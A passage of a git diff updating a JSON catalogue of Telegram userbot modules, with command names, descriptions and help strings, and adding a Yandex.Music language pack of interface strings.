<Valute char code (optional)>" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "KeyZenD/modules/QRtools.py": { - "name": "QRtoolsMod", - "description": "Generator and reader of QR codes", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "makeqrcmd": ".makeqr <text or reply>" - }, - { - "readqrcmd": ".readqr <qrcode or reply to qrcode>" - } - ], - "new_commands": [ - { - "makeqr": { - "ru_doc": null, - "en_doc": null, - "doc": ".makeqr <text or reply>" - } - }, - { - "readqr": { - "ru_doc": null, - "en_doc": null, - "doc": ".readqr <qrcode or reply to qrcode>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/MegaMozg.py": { - "name": "MegaMozgMod", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "mozgcmd": ".mozg <on/off/...> - Переключить режим дурачка в чате" - }, - { - "mozgchancecmd": ".mozgchance <int> - Устанвоить шанс 1 к N.\n0 - всегда отвечать" - } - ], - "new_commands": [ - { - "mozg": { - "ru_doc": null, - "en_doc": null, - "doc": ".mozg <on/off/...> - Переключить режим дурачка в чате" - } - }, - { - "mozgchance": { - "ru_doc": null, - "en_doc": null, - "doc": ".mozgchance <int> - Устанвоить шанс 1 к N.\n0 - всегда отвечать" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/MicroQuotes.py": { - "name": "MicroQuotesMod", - "description": "Микроцитаты", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "mqcmd": ".mq <реплай на текст>" - } - ], - "new_commands": [ - { - "mq": { - "ru_doc": null, - "en_doc": null, - "doc": ".mq <реплай на текст>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/im2bin.py": { - "name": "Im2BinaryMod", - "description": "Картинки в текст. что?", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "bincmd": ".bin <картинка или реплай> + слова (дефолт на рандоме) (не мешает слова)" - }, - { - "rbincmd": ".rbin <картинка или реплай> + слова (дефолт на рандоме) (мешает слова)" - } - ], - "new_commands": [ - { - "bin": { - "ru_doc": null, - "en_doc": null, - "doc": ".bin <картинка или реплай> + слова (дефолт на рандоме) (не мешает слова)" - } - }, - { - "rbin": { - "ru_doc": null, - "en_doc": null, - "doc": ".rbin <картинка или реплай> + слова (дефолт на рандоме) (мешает слова)" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/Hasher.py": { - "name": "HasherMod", - "description": "Hashing text and files", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "md5cmd": ".md5 <(text or media) or (reply to text or media)>\nHashing to md5" - }, - { - "sha1cmd": ".sha1 <(text or media) or (reply to text or media)\nHashing to sha1" - }, - { - "sha224cmd": ".sha224 <(text or media) or (reply to text or media)\nHashing to sha224" - }, - { - "sha256cmd": ".sha255 <(text or media) or (reply to text or media)\nHashing to sha256" - }, - { - "sha384cmd": ".sha384 <(text or media) or (reply to text or media)\nHashing to sha384" - }, - { - "sha512cmd": ".sha512 <(text or media) or (reply to text or media)\nHashing to sha512" - }, - { - "blake2bcmd": ".blake2 <(text or media) or (reply to text or media)\nHashing to blake2" - }, - { - "blake2scmd": ".blake2s <(text or media) or (reply to text or media)\nHashing to blake2s" - } - ], - "new_commands": [ - { - "md5": { - "ru_doc": null, - "en_doc": null, - "doc": ".md5 <(text or media) or (reply to text or media)>\nHashing to md5" - } - }, - { - "sha1": { - "ru_doc": null, - "en_doc": null, - "doc": ".sha1 <(text or media) or (reply to text or media)\nHashing to sha1" - } - }, - { - "sha224": { - "ru_doc": null, - "en_doc": null, - "doc": ".sha224 <(text or media) or (reply to text or media)\nHashing to sha224" - } - }, - { - "sha256": { - "ru_doc": null, - "en_doc": null, - "doc": ".sha255 <(text or media) or (reply to text or media)\nHashing to sha256" - } - }, - { - "sha384": { - "ru_doc": null, - "en_doc": null, - "doc": ".sha384 <(text or media) or (reply to text or media)\nHashing to sha384" - } - }, - { - "sha512": { - "ru_doc": null, - "en_doc": null, - "doc": ".sha512 <(text or media) or (reply to text or media)\nHashing to sha512" - } - }, - { - "blake2b": { - "ru_doc": null, - "en_doc": null, - "doc": ".blake2 <(text or media) or (reply to text or media)\nHashing to blake2" - } - }, - { - "blake2s": { - "ru_doc": null, - "en_doc": null, - "doc": ".blake2s <(text or media) or (reply to text or media)\nHashing to blake2s" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/test.py": { - "name": "TestMod", - "description": "Self-tests", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "pingcmd": "Does nothing" - }, - { - "pungcmd": "Useless pinger" - }, - { - "dumpcmd": "Use in reply to get a dump of a message" - }, - { - "logscmd": ".logs <level>\nDumps logs. Loglevels below WARNING may contain personal info." - }, - { - "suspendcmd": ".suspend <time>\nSuspends the bot for N seconds" - } - ], - "new_commands": [ - { - "ping": { - "ru_doc": null, - "en_doc": null, - "doc": "Does nothing" - } - }, - { - "pung": { - "ru_doc": null, - "en_doc": null, - "doc": "Useless pinger" - } - }, - { - "dump": { - "ru_doc": null, - "en_doc": null, - "doc": "Use in reply to get a dump of a message" - } - }, - { - "logs": { - "ru_doc": null, - "en_doc": null, - "doc": ".logs <level>\nDumps logs. Loglevels below WARNING may contain personal info." - } - }, - { - "suspend": { - "ru_doc": null, - "en_doc": null, - "doc": ".suspend <time>\nSuspends the bot for N seconds" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/YTsearch.py": { - "name": "YTsearchMod", - "description": "Поиск видео на ютубе", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "ytcmd": "текст или реплай" - } - ], - "new_commands": [ - { - "yt": { - "ru_doc": null, - "en_doc": null, - "doc": "текст или реплай" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/urldl.py": { - "name": "aMod", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "urldlcmd": "" - }, - { - "urldlbigcmd": "" - } - ], - "new_commands": [ - { - "urldl": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - }, - { - "urldlbig": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Admin" - ] - }, - "KeyZenD/modules/YandexRS.py": { - "name": "YandexReverseSearchMod", - "description": "Reverse image search via Yandex (he is the best, imho)", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "yarscmd": ".yars <repy to image>" - } - ], - "new_commands": [ - { - "yars": { - "ru_doc": null, - "en_doc": null, - "doc": ".yars <repy to image>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/SquareBlur.py": { - "name": "SquareBlurMod", - "description": "Make image 1:1 ratio", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "squareblurcmd": "make image 1:1 ratio" - } - ], - "new_commands": [ - { - "squareblur": { - "ru_doc": null, - "en_doc": null, - "doc": "make image 1:1 ratio" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "KeyZenD/modules/words.py": { - "name": "WordsMod", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "wordscmd": "" - } - ], - "new_commands": [ - { - "words": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/what.py": { - "name": "WhatMod", - "description": "wow, what is it there?", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "whatcmd": "Draw circle in random place" - } - ], - "new_commands": [ - { - "what": { - "ru_doc": null, - "en_doc": null, - "doc": "Draw circle in random place" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/modulator.py": { - "name": "BMod", - "description": "Modulate pitch of voice", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "modulatecmd": "" - } - ], - "new_commands": [ - { - "modulate": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "KeyZenD/modules/purge.py": { - "name": "PurgeMod", - "description": "Deletes your messages", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "purgecmd": "Purge from the replied message" - }, - { - "delcmd": "Delete the replied message" - } - ], - "new_commands": [ - { - "purge": { - "ru_doc": null, - "en_doc": null, - "doc": "Purge from the replied message" - } - }, - { - "del": { - "ru_doc": null, - "en_doc": null, - "doc": "Delete the replied message" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/DNA.py": { - "name": "DistortNoApiMod", - "description": "distorting images", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "distortcmd": ".distort <reply to photo>\n.distort im\n.distort 50\n.distort 50 im\n.distort im 50\nim => кидает стикеры как фото\n50 => (от 0 до дохуя) процент сжатия" - } - ], - "new_commands": [ - { - "distort": { - "ru_doc": null, - "en_doc": null, - "doc": ".distort <reply to photo>\n.distort im\n.distort 50\n.distort 50 im\n.distort im 50\nim => кидает стикеры как фото\n50 => (от 0 до дохуя) процент сжатия" - } - } - ], - "category": [ - "Tools", - "Media" - ] - }, - "KeyZenD/modules/zip.py": { - "name": "ZipMod", - "description": "Запаковывает/распаковывает файлы", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "zipaddcmd": ".zipadd <file/reply to file> - сохраняет файл во временную папку" - }, - { - "ziplistcmd": "список сохраненных файлов" - }, - { - "zipshowcmd": ".zipshow <name> - показывает сохранённый файл" - }, - { - "zipdelcmd": ".zipdel <name> - удаляет сохранённый файл" - }, - { - "zipcmd": ".zip <name> (-s) - пакует в архив name. если есть флаг -s то сохраняет папку с фацлами" - }, - { - "zipcleancmd": ".zipclear - очищает папку с файлами" - } - ], - "new_commands": [ - { - "zipadd": { - "ru_doc": null, - "en_doc": null, - "doc": ".zipadd <file/reply to file> - сохраняет файл во временную папку" - } - }, - { - "ziplist": { - "ru_doc": null, - "en_doc": null, - "doc": "список сохраненных файлов" - } - }, - { - "zipshow": { - "ru_doc": null, - "en_doc": null, - "doc": ".zipshow <name> - показывает сохранённый файл" - } - }, - { - "zipdel": { - "ru_doc": null, - "en_doc": null, - "doc": ".zipdel <name> - удаляет сохранённый файл" - } - }, - { - "zip": { - "ru_doc": null, - "en_doc": null, - "doc": ".zip <name> (-s) - пакует в архив name. если есть флаг -s то сохраняет папку с фацлами" - } - }, - { - "zipclean": { - "ru_doc": null, - "en_doc": null, - "doc": ".zipclear - очищает папку с файлами" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "KeyZenD/modules/pypng.py": { - "name": "py2pngMod", - "description": "Uploader", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "pypngcmd": "reply to text code or py file" - } - ], - "new_commands": [ - { - "pypng": { - "ru_doc": null, - "en_doc": null, - "doc": "reply to text code or py file" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/cheval.py": { - "name": "channelEvalMod", - "description": "Выполняет команду в канале", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "chevalcmd": ".channel <канал> <id сообщения реплая, или же выполнение команды из комментариев> <комманда в том виде, в котором бы ты отправил её в чат>" - } - ], - "new_commands": [ - { - "cheval": { - "ru_doc": null, - "en_doc": null, - "doc": ".channel <канал> <id сообщения реплая, или же выполнение команды из комментариев> <комманда в том виде, в котором бы ты отправил её в чат>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/Circles.py": { - "name": "CirclesMod", - "description": "округляет всё", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "roundcmd": ".round <Reply to image/sticker or video/gif>" - } - ], - "new_commands": [ - { - "round": { - "ru_doc": null, - "en_doc": null, - "doc": ".round <Reply to image/sticker or video/gif>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/MirrorFlipV2.py": { - "name": "MirrorFlipMod", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "llcmd": "" - }, - { - "rrcmd": "" - }, - { - "uucmd": "" - }, - { - "ddcmd": "" - } - ], - "new_commands": [ - { - "ll": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - }, - { - "rr": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - }, - { - "uu": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - }, - { - "dd": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Admin" - ] - }, - "KeyZenD/modules/dotify.py": { - "name": "DotifyMod", - "description": "Image to dot\n.cmd <count> + reply to img\nthe bigger, the slower and bugger\nrecommended not more 1000", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "dotifycmd": "Image to RGB dots" - }, - { - "dotificmd": "Image to BW dots " - } - ], - "new_commands": [ - { - "dotify": { - "ru_doc": null, - "en_doc": null, - "doc": "Image to RGB dots" - } - }, - { - "dotifi": { - "ru_doc": null, - "en_doc": null, - "doc": "Image to BW dots " - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "KeyZenD/modules/OneMessage.py": { - "name": "OneMessageMod", - "description": "@faq lines", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "omstartcmd": "Start OneMessage mode" - }, - { - "omstopcmd": "Stop OneMessage mode" - } - ], - "new_commands": [ - { - "omstart": { - "ru_doc": null, - "en_doc": null, - "doc": "Start OneMessage mode" - } - }, - { - "omstop": { - "ru_doc": null, - "en_doc": null, - "doc": "Stop OneMessage mode" - } - } - ], - "category": [ - "Fun", - "Chat" - ] - }, - "KeyZenD/modules/delme.py": { - "name": "DelmeMod", - "description": "Удаляет все сообщения", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "delmecmd": "Удаляет все сообщения от тебя" - }, - { - "delmenowcmd": "Удаляет все сообщения от тебя без вопросов" - } - ], - "new_commands": [ - { - "delme": { - "ru_doc": null, - "en_doc": null, - "doc": "Удаляет все сообщения от тебя" - } - }, - { - "delmenow": { - "ru_doc": null, - "en_doc": null, - "doc": "Удаляет все сообщения от тебя без вопросов" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/stext.py": { - "name": "Text2stickMod", - "description": "Text to sticker", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "stextcmd": ".stext <reply to photo>" - } - ], - "new_commands": [ - { - "stext": { - "ru_doc": null, - "en_doc": null, - "doc": ".stext <reply to photo>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/notes.py": { - "name": "NotesMod", - "description": "Stores global notes (aka snips)", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "findnotecmd": "Gets the note specified" - }, - { - "notecmd": "Gets the note specified" - }, - { - "delallnotescmd": "Deletes all the saved notes" - }, - { - "savecmd": "Save a new note. Must be used in reply with one parameter (note name)" - }, - { - "delnotecmd": "Deletes a note, specified by note name" - }, - { - "notescmd": "List the saved notes" - } - ], - "new_commands": [ - { - "findnote": { - "ru_doc": null, - "en_doc": null, - "doc": "Gets the note specified" - } - }, - { - "note": { - "ru_doc": null, - "en_doc": null, - "doc": "Gets the note specified" - } - }, - { - "delallnotes": { - "ru_doc": null, - "en_doc": null, - "doc": "Deletes all the saved notes" - } - }, - { - "save": { - "ru_doc": null, - "en_doc": null, - "doc": "Save a new note. Must be used in reply with one parameter (note name)" - } - }, - { - "delnote": { - "ru_doc": null, - "en_doc": null, - "doc": "Deletes a note, specified by note name" - } - }, - { - "notes": { - "ru_doc": null, - "en_doc": null, - "doc": "List the saved notes" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/заёбушка.py": { - "name": "ЗаёбушкаMod", - "description": "Заебет любого", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "заебуcmd": ".заебу <колличество> <реплай на того, кого заебать>" - } - ], - "new_commands": [ - { - "заебу": { - "ru_doc": null, - "en_doc": null, - "doc": ".заебу <колличество> <реплай на того, кого заебать>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/kzdQuotes.py": { - "name": "kzdQuotesMod", - "description": "kzdQuote a message", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "qqcmd": "" - }, - { - "qqsetcmd": "" - } - ], - "new_commands": [ - { - "qq": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - }, - { - "qqset": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "KeyZenD/modules/pydraft.py": { - "name": "PyDraftMod", - "description": "Выполняет выражение из черновиков (работает 10 минут)\nинструкция на канале @SomeScripts", + "Sad0ff/modules-ftg/hitler.py": { + "name": "HitlerMod", + "description": "Hitler", "meta": { "pic": null, "banner": null }, "commands": [ { - "pydraftcmd": "Запустить/Остановить" + "hcmd": ".h <реплай на сообщение/свой текст>\n@offsd подпишись-пожалеешь" } ], "new_commands": [ { - "pydraft": { + "h": { "ru_doc": null, "en_doc": null, - "doc": "Запустить/Остановить" + "doc": ".h <реплай на сообщение/свой текст>\n@offsd подпишись-пожалеешь" } } ], @@ -42638,330 +43972,44 @@ "Chat" ] }, - "KeyZenD/modules/StickTools.py": { - "name": "StickToolsMod", - "description": "", + "Sad0ff/modules-ftg/allwithvoice.py": { + "name": "allwithvoiceMod", + "description": "Перевод текста в гс и наоборот", "meta": { "pic": null, "banner": null }, "commands": [ { - "stick2piccmd": "reply to Sticker\nsend stricker as image" + "vwcmd": ".vw <reply>\nчтобы все работало как я задумывал, смените голос (если хотите) на женский у @Maksobot\n@offsd подпишись-пожалеешь" }, { - "stick2filecmd": "reply to Sticker\nsend stricker as image" - } - ], - "new_commands": [ - { - "stick2pic": { - "ru_doc": null, - "en_doc": null, - "doc": "reply to Sticker\nsend stricker as image" - } + "vmcmd": ".vm <reply>" }, { - "stick2file": { - "ru_doc": null, - "en_doc": null, - "doc": "reply to Sticker\nsend stricker as image" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/saved.py": { - "name": "SavedMod", - "description": "Соxранятель в избранное", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "savedcmd": ".saved реплай на медиа" + "tcmd": ".t <reply on voice>\nчтобы оно работало, включите в боте тихий режим командой /silent" } ], "new_commands": [ { - "saved": { + "vw": { "ru_doc": null, "en_doc": null, - "doc": ".saved реплай на медиа" + "doc": ".vw <reply>\nчтобы все работало как я задумывал, смените голос (если хотите) на женский у @Maksobot\n@offsd подпишись-пожалеешь" } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/gird.py": { - "name": "GriderMod", - "description": "Гавно залупное", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "gridcmd": ".gird <reply to photo>" }, { - "revgridcmd": ".gird <reply to photo>" - } - ], - "new_commands": [ - { - "grid": { + "vm": { "ru_doc": null, "en_doc": null, - "doc": ".gird <reply to photo>" + "doc": ".vm <reply>" } }, { - "revgrid": { - "ru_doc": null, - "en_doc": null, - "doc": ".gird <reply to photo>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/biography.py": { - "name": "BiographyMod", - "description": "Биография", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "biographycmd": ".biography <reply to voice>\nНаложение реплайнутого войса на минус кровостока" - } - ], - "new_commands": [ - { - "biography": { - "ru_doc": null, - "en_doc": null, - "doc": ".biography <reply to voice>\nНаложение реплайнутого войса на минус кровостока" - } - } - ], - "category": [ - "Security", - "Chat" - ] - }, - "KeyZenD/modules/null.py": { - "name": "nullMod", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "nullcmd": "" - } - ], - "new_commands": [ - { - "null": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "KeyZenD/modules/keyboard_small.py": { - "name": "CodefyMod", - "description": "Makes message monospace", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "keyboardcmd": ".keyboard <text or reply>" - } - ], - "new_commands": [ - { - "keyboard": { - "ru_doc": null, - "en_doc": null, - "doc": ".keyboard <text or reply>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/LoremIpsum.py": { - "name": "LoremIpsumMod", - "description": "Lorem Ipsum generation", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "loremipsumcmd": ".loremipsum <count: int> <length: str> <file?>\ncount - number of paragraphs| std: 1\nlength - s-short, m-medium, l-long, v-verylong|std: m(edium)\nfile - if nothing- send as message, if anything- send as file" - } - ], - "new_commands": [ - { - "loremipsum": { - "ru_doc": null, - "en_doc": null, - "doc": ".loremipsum <count: int> <length: str> <file?>\ncount - number of paragraphs| std: 1\nlength - s-short, m-medium, l-long, v-verylong|std: m(edium)\nfile - if nothing- send as message, if anything- send as file" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "KeyZenD/modules/colorBit.py": { - "name": "colorBitMod", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "cbitcmd": ".cbit <число от 0 до 255" - } - ], - "new_commands": [ - { - "cbit": { - "ru_doc": null, - "en_doc": null, - "doc": ".cbit <число от 0 до 255" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/print.py": { - "name": "PrintMod", - "description": "Аналог модуля typewriter", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "printcmd": ".print <text or reply>" - } - ], - "new_commands": [ - { - "print": { - "ru_doc": null, - "en_doc": null, - "doc": ".print <text or reply>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/TgsKiller.py": { - "name": "TgsKillerMod", - "description": "Хуярит", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "tgscmd": "хуярит стикеры" - } - ], - "new_commands": [ - { - "tgs": { - "ru_doc": null, - "en_doc": null, - "doc": "хуярит стикеры" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "KeyZenD/modules/mediaspam.py": { - "name": "MSMod", - "description": "Спаммер медиа(стикер/гиф/фото/видео/войс/видеовойс</code>", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "mediaspamcmd": ".mediaspam <количество> + реплай на медиа(стикер/гиф/фото/видео/войс/видеовойс)" - } - ], - "new_commands": [ - { - "mediaspam": { - "ru_doc": null, - "en_doc": null, - "doc": ".mediaspam <количество> + реплай на медиа(стикер/гиф/фото/видео/войс/видеовойс)" - } - } - ], - "category": [ - "Media", - "Tools" - ] - }, - "KeyZenD/modules/soaper.py": { - "name": "SoaperMod", - "description": "Гавно залупное", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "soapcmd": ".soap <reply to photo>" - } - ], - "new_commands": [ - { - "soap": { + "t": { "ru_doc": null, "en_doc": null, - "doc": ".soap <reply to photo>" + "doc": ".t <reply on voice>\nчтобы оно работало, включите в боте тихий режим командой /silent" } } ], @@ -42970,24 +44018,24 @@ "Chat" ] }, - "KeyZenD/modules/pic2pack.py": { - "name": "pic2packMod", - "description": "pic2pack", + "Sad0ff/modules-ftg/jac.py": { + "name": "JacquesMod", + "description": "Жаконизатор", "meta": { "pic": null, "banner": null }, "commands": [ { - "pic2packcmd": ".pic2pack {packname} + <reply to photo>" + "jcmd": ".j <реплай на сообщение/свой текст>\n@offsd подпишись-пожалеешь" } ], "new_commands": [ { - "pic2pack": { + "j": { "ru_doc": null, "en_doc": null, - "doc": ".pic2pack {packname} + <reply to photo>" + "doc": ".j <реплай на сообщение/свой текст>\n@offsd подпишись-пожалеешь" } } ], diff --git a/unneyon/hikka-mods/banners/sdsaver.png b/unneyon/hikka-mods/banners/sdsaver.png new file mode 100644 index 0000000..0a37f01 Binary files /dev/null and b/unneyon/hikka-mods/banners/sdsaver.png differ diff --git a/unneyon/hikka-mods/banners/yamusic_beta.png b/unneyon/hikka-mods/banners/yamusic_beta.png deleted file mode 100644 index 337bd91..0000000 Binary files a/unneyon/hikka-mods/banners/yamusic_beta.png and /dev/null differ diff --git a/unneyon/hikka-mods/full.txt b/unneyon/hikka-mods/full.txt index 24239e3..d99edf4 100644 --- a/unneyon/hikka-mods/full.txt +++ b/unneyon/hikka-mods/full.txt @@ -1,6 +1,7 @@ caliases deleter privacy +sdsaver tidal warpigs yamusic \ No newline at end of file diff --git a/unneyon/hikka-mods/icons/sdsaver.png b/unneyon/hikka-mods/icons/sdsaver.png new file mode 100644 index 0000000..da4415b Binary files /dev/null and b/unneyon/hikka-mods/icons/sdsaver.png differ diff --git a/unneyon/hikka-mods/langpacks/yamusic.yml b/unneyon/hikka-mods/langpacks/yamusic.yml new file mode 100644 index 0000000..1b7efe0 --- /dev/null +++ b/unneyon/hikka-mods/langpacks/yamusic.yml @@ -0,0 +1,63 @@ +en: + guide: "<emoji document_id=5956561916573782596>📜</emoji> <b><a href=\"https://yandex-music.rtfd.io/en/main/token.html\">Guide for obtaining access token for Yandex.Music</a></b>" + iguide: "📜 <b><a href=\"https://yandex-music.rtfd.io/en/main/token.html\">Guide for obtaining access token for Yandex.Music</a></b>" + no_token: "<emoji document_id=5778527486270770928>❌</emoji> <b>You didn't specify the access token in the config!</b>" + autobio: + d: "<emoji document_id=5429189857324841688>🎧</emoji> <b>Autobio is off now</b>" + e: "<emoji document_id=5429189857324841688>🎧</emoji> <b>Autobio is on now</b>" + there_is_no_playing: "<emoji document_id=5474140048741901455>❌</emoji> <b>You don't listening to anything right now</b>" + queue_types: + VARIOUS: "Your queue" + RADIO: "«My Wave»" + PLAYLIST: "Playlist «{}»" + ALBUM: "«{}»" + ARTIST: "Popular tracks by {}" + downloading: "\n\n<emoji document_id=5841359499146825803>🕔</emoji> <i>Downloading audio…</i>" + uploading_banner: "\n\n<emoji document_id=5841359499146825803>🕔</emoji> <i>Uploading banner…</i>" + likes: + liked: "<emoji document_id=6037533152593842454>❤️</emoji> <b>Track <a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> was liked</b>" + unliked: "<emoji document_id=5992453811510186287>❤️</emoji> <b>Track <a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> was unliked</b>" + disliked: "<emoji document_id=5222400230133081714>💔</emoji> <b>Track <a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> was disliked</b>" + lyrics: "<emoji document_id=5956561916573782596>📜</emoji> <b>Lyrics of the <a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> track:</b>\n<blockquote expandable>{text}</blockquote>\n\n<emoji document_id=5247213725080890199>©️</emoji> <b>Writers:</b> {writers}" + no_lyrics: "<emoji document_id=5886285363869126932>❌</emoji> <b>Track <a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> has no lyrics!</b>" + args: "<emoji document_id=5778527486270770928>❌</emoji> <b>Specify search query</b>" + searching: "<emoji document_id=5258274739041883702>🔍</emoji> <b>Searching…</b>" + 404: "<emoji document_id=5778527486270770928>❌</emoji> <b>No results found</b>" + search: "<emoji document_id=5474304919651491706>🎧</emoji> <b>{performer} — {title}</b>\n<emoji document_id=5429189857324841688>🎵</emoji> <b><a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">Yandex.Music</a> | <a href=\"https://song.link/ya/{track_id}\">song.link</a></b>" + _cfg: + token: "Your access token for Yandex.Music" + now_playing_text: "The text that is used in commands to get now playing track. May contain {performer}, {title}, {device}, {volume}, {playing_from}, {link}, {track_id}, {album_id} keywords" + autobio: "Automatic bio template (may contain {artist} and {title} keywords)" + no_playing_bio: "Bio that is set when nothing is playing" + +ru: + guide: "<emoji document_id=5956561916573782596>📜</emoji> <b><a href=\"https://yandex-music.rtfd.io/en/main/token.html\">Гайд по получению токена Яндекс.Музыки</a></b>" + iguide: "📜 <b><a href=\"https://yandex-music.rtfd.io/en/main/token.html\">Гайд по получению токена Яндекс.Музыки</a></b>" + no_token: "<emoji document_id=5312526098750252863>❌</emoji> <b>Вы не указали токен Яндекс.Музыки в конфиге!</b>" + autobio: + d: "<emoji document_id=5429189857324841688>🎧</emoji> <b>Автобио выключено</b>" + e: "<emoji document_id=5429189857324841688>🎧</emoji> <b>Автобио включено</b>" + there_is_no_playing: "<emoji document_id=5474140048741901455>❌</emoji> <b>Вы ничего не слушаете сейчас</b>" + queue_types: + VARIOUS: "Ваша очередь" + RADIO: "«Моя Волна»" + PLAYLIST: "Плейлист «{}»" + ALBUM: "«{}»" + ARTIST: "Популярные треки {}" + downloading: "\n\n<emoji document_id=5841359499146825803>🕔</emoji> <i>Загрузка трека…</i>" + uploading_banner: "\n\n<emoji document_id=5841359499146825803>🕔</emoji> <i>Загрузка баннера…</i>" + likes: + liked: "<emoji document_id=6037533152593842454>❤️</emoji> <b>Трек <a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> лайкнут</b>" + unliked: "<emoji document_id=5992453811510186287>❤️</emoji> <b>С трека <a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> снят лайк</b>" + disliked: "<emoji document_id=5222400230133081714>💔</emoji> <b>Трек <a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> дизлайкнут</b>" + lyrics: "<emoji document_id=5956561916573782596>📜</emoji> <b>Текст трека <a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a>:</b>\n<blockquote expandable>{text}</blockquote>\n\n<emoji document_id=5247213725080890199>©️</emoji> <b>Авторы:</b> {writers}" + no_lyrics: "<emoji document_id=5886285363869126932>❌</emoji> <b>У трека 